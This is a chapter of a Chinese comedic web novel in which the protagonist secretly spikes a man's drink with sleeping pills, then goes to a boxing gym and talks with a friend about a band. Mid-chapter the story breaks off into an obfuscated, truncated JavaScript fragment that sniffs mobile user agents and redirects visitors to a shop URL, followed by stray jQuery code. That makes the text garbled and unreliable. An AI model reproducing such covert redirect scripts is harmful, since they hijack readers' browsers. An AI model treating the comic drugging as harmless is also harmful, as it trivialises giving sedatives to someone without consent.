18. 狼喊捉狼
    收到周泊云的消息时,傅时禹刚把沉如死猪的周云琛扔到床上。

    当时,周云琛从他爸那里回来之后,第一时间就找上傅时禹,哭着闹着硬是挤进他的房间里。

    渣攻进来也不说别的,开口第一句就是让他小心周泊云。

    说是他弟现在变得很奇怪,拴在脖子上的链子解了,不是狗了,是狼,色狼的狼!

    傅时禹点头说好,但心里腹诽着,狼喊捉狼,最大的色狼在他眼前才对。

    在周云琛准备抱住他再次撒娇之前,碍于手头上没有牛奶,傅时禹便泡了杯蛋白粉,并加上足量的安眠药递给周云琛。

    傅时禹:“这是新的晚安奶。”

    周云琛喝了一口,说:“时禹,这怎么没味儿啊?”

    傅时禹:“有味儿的那是加了奶精,就指这个无糖无奶的最健康!”

    周云琛:“……好。”

    看着周云琛仰头咕咚好几口,没一会儿瓶子就见底,傅时禹满意地接走他的限量款运动水壶。

    等他把水壶放回桌上再回头,周云琛就开始摇摇晃晃有些犯困。

    傅时禹赶紧一个箭步冲上前,单手拎起周云琛的后衣领,就跟掷铁饼一样,唰地一下,将这个一百多斤、一米八几的大家伙丢到床上。

    人上了床,弹起来又重重落下,痛是应该不痛的,但气确实是隔了几秒之后才开始喘的。

    “呼——累死了。”

    傅时禹拉着肩膀走到桌边,刚好看见手机屏幕亮起,顺手就拿起来看看是谁在找他。

    哦,是周泊云啊。

    周泊云和他说,明天早上要准时到公司,所以六点就必须出门。

    傅时禹回了个敬礼的表情包,不仅是表达他的瑞思拜,也是表达他的Respect。

    不过,他这下也想起周云琛一进来时给他的叮嘱。

    嗯……周泊云变得奇怪?

    确实有点。

    但这又有什么关系呢?

    难道他会怀疑自己的好兄弟吗?

    在渣攻和好兄弟之间,他当然站好兄弟啊!

    很快,傅时禹打消那些不必要的念头,拉开椅子坐下。

    因为周云琛躺在床上,他又睡不了觉,所以只能趴在桌上凑合一下。

    明早六点和周泊云出门,五点多差不多就得起,现在算算时间,他趴着眯一会儿,大概四五个小时也能熬过去,后面再上车补觉。

    反正年轻力壮的,一晚上睡的不好也不是什么大事,明晚回来再补觉呗。

    这么想着,他边刷手机,边犯困,没一会儿就抱着手机睡着。

    等他再度睁开眼,是被调好的闹钟吵醒的。

    因为根本没怎么睡,他的神智还算清明,半是清醒地走进卫生间洗漱,而周云琛还没过药效,依然躺在床上呼呼大睡。

    等他收拾好自己,周泊云也刚好发来消息问他好了吗。

    傅时禹边打字边打开房门,正巧迎面和站在房门口的男人撞上。

    开门时掀起的气流里带着一股冷冽淡然的水生木质香,好闻是很好闻,但是携带这香气的男人看着不是很好惹。

    西装革履大背头,站在门口像恶狗。

    “早。”傅时禹打了个招呼,迎上那束虎视眈眈的视线。

    “走吧。”周泊云催促道,“这个点大哥还没醒,不会发现你离开了。”

    “呃……好的。”

    傅时禹挤出一丝尬笑。

    确实是没醒,人还躺在他床上睡得可香呢。

    但他挡着门,没暴露出床上有人的事实,免得被他这好哥们儿误会什么,真当他和他大哥有一腿了……

    嗯……也不对。

    周泊云会不会已经觉得他们有一腿了?

    可别吧。

    他还想在兄弟面前有点尊严,保持一下良好的直男形象。

    傅时禹纠结着往前走,等回过神来就发现自己已经在不知不觉中坐进了车里,甚至还把安全带都绑好了。

    “你平时都这个点上班?”

    在跑车平缓起步中,傅时禹自然而然开启一个话题。

    “嗯,差不多。”周泊云罕见地打了个哈欠。

    看他这样略显疲态,眼下也有点青黑可见,傅时禹便问:“你昨晚几点睡的?”

    周泊云:“昨晚没睡。”

    傅时禹:“啊?”

    “……”周泊云意识到自己说快了,只能解释一句,“有些事想不通。”

    “什么事情?”傅时禹自动代入知心好友的角色,“说出来我给你参谋参谋!”

    周泊云瞥了他一眼,“……工作上的事。”

    “噢。”傅时禹泄气道,“那我确实帮不了你。”

    “没事,迟早会帮上的。”

    周泊云这话其实也算不上安慰,倒不如说是种预言还更为妥当。

    但傅时禹并不知道昨晚走廊里发生过什么冲突,也无法预知未来会发什么。

    他就只能在这一时的无知和惬意中,瘫在豪车座椅里补觉。

    之后,等车一停,傅时禹自动清醒过来。

    “到了啊。”傅时禹打了个哈欠。

    “嗯。”周泊云手搭在方向盘上,有些出神,“……结束了和我说,我来接你。”

    “好。回头见。”

    傅时禹并起手指在额际挥了挥,亮出一个自以为很酷炫的手势。

    和周泊云道别后,他推门走进拳馆,正好就听见郑铃兰发出几声喊叫。

    “哎哟!又没抢到!啊啊啊——”

    “姐,怎么了?”傅时禹好奇地看向她。

    “音乐节门票!明明没什么有名乐队啊,就一个银翼,怎么会这么难抢!”

    郑铃兰抱着手机疯狂摇晃,那副癫狂的样子和平日里恬静清丽的模样截然相反。

    傅时禹见状,立刻自告奋勇,“姐,让我来,我抢票可行了!以前整个班春运回家的火车票都是我抢的,黄牛都没我手快!”

    “好呀好呀,多一个人就多一份力!”

    郑铃兰立刻喜笑颜开,迫不及待地重新点开手机。

    “我发你个链接哈,明早还能抢一次!你先把APP下了,提前注册好账户,把个人信息也填好,我发你个教程,你看看!”

    郑铃兰发来一连串的消息,而傅时禹在那几条文字中瞄见了她的身份证号。

    原来在这个世界里,铃兰姐只比他大三岁啊。

    傅时禹盯着屏幕,小鸡啄米般点头,“好,姐,我一定把这事儿给你办成!”

    “没事儿,尽人事听天命。”

    郑铃兰摆了摆手,早已被现实折磨得体无完肤。

    她拿起手机,又向傅时禹展示她的锁屏页面,那是一张黑白人像抓拍。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508135|142204||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >照片里,一个穿着黑色背心、头戴毛绒兔头套的健壮男人正站在舞台上弹贝斯,从那潇洒不羁的动作上可以想象到这场演出有多精彩。

    “刚好也给你安利我的宝藏乐队——SliverWingS,中文名叫银翼,这次不好抢票就是因为有他们演出。”

    “我可是从他们地下出道时就关注了。我推的是主唱,叫克劳德,我们都喊他小克,作曲写词全是他一人包了,绝对的乐感天才!”

    “你看,锁屏上这张照片就是我去地下演出时拍的!刚开始他一直都戴卡通兔的玩偶头套,后面上了那个《摇滚的夏天》的综艺,在决赛的时候突然把头套摘了,一下子就爆火。”

    “唉,大家都磕他的颜值,只有我们这些老粉才懂他的才华……啊,当然啦,长得帅也是锦上添花!”

    在郑铃兰滔滔不绝的安利中,傅时禹打开手机搜索起来,“好。叫什么?yin、yi?”

    “银色的银,翼就是那个嗯……有翅膀那个意思的「翼」字!”

    郑铃兰凑到傅时禹身边,对着他手里的屏幕指来指去。

    他们间的距离一时拉近,傅时禹不由得绷紧身体,心快得不行,气也不能好好喘一下,根本不敢用余光注意郑铃兰的存在。

    他将视线飘向别处,也正是在这时,他看见视野下方的菜单栏出了点状况——任务进度那个模块正在不停闪烁,像是遇到Bug。

    他眨了几下眼睛,确认不是自己眼花,任务进度那几个字确实是一阵一阵的模糊不清。

    于是,他背着手点开任务进度,发现里面的内容和上次不一样,出现了新的剧情——

    接受郑铃兰邀请、前往音乐节的主角受遇到了渣攻的第二个弟弟,一个和主角受一样讨厌周家所有人的男人,也是最有可能带他逃离周家桎梏、改变他命运的露水情人,括号……嗯?括号?

    傅时禹默念着新的剧情内容,头一回见到那些冰冷文字里带着备注。

    他继续往下看去——露水情人,括号,肌肉型男狂热爱好者,括号。

    傅时禹:………………

    有病吧?

    狗*系统直接打他名字好了!!!

    刚安抚好渣攻,还有一个周泊云放在那里,现在又来他第二个弟弟了是吧?

    “操。”

    傅时禹下意识气得骂出声,惹得旁边的郑铃兰都把手收了回去。

    “怎么了?”

    郑铃兰有些局促地看着他,不知是哪句话触发他的不满。

    “哦不是,我的意思是,操……操练得不够到位!刚想起昨晚学了个新操。”

    傅时禹急忙解释,支支吾吾了半天总算找出个能够糊弄过去的借口。

    “噢噢。”

    郑铃兰讪笑着,视线重新放回傅时禹手机屏幕上,准备给他挑几首银翼乐队的歌。

    而这时,一阵叮呤当啷的风铃声忽然响起,传出的动静就像是酒瓶摔在地上,嘈杂又引人注目。

    屋内的人纷纷朝门口看去,只见三个流里流气的青年闯了进来,即使身上穿着价格不菲的名牌,也遮挡不住那些上不了台面的痞气。

    “哟没想到你还真躲在这里。”

    “我就说嘛,在短视频上刷到的人绝对是你这小鬼!”

    三个流氓一样的男人一进来就直奔白季礼,话里话外都明显表明是冲着他来的。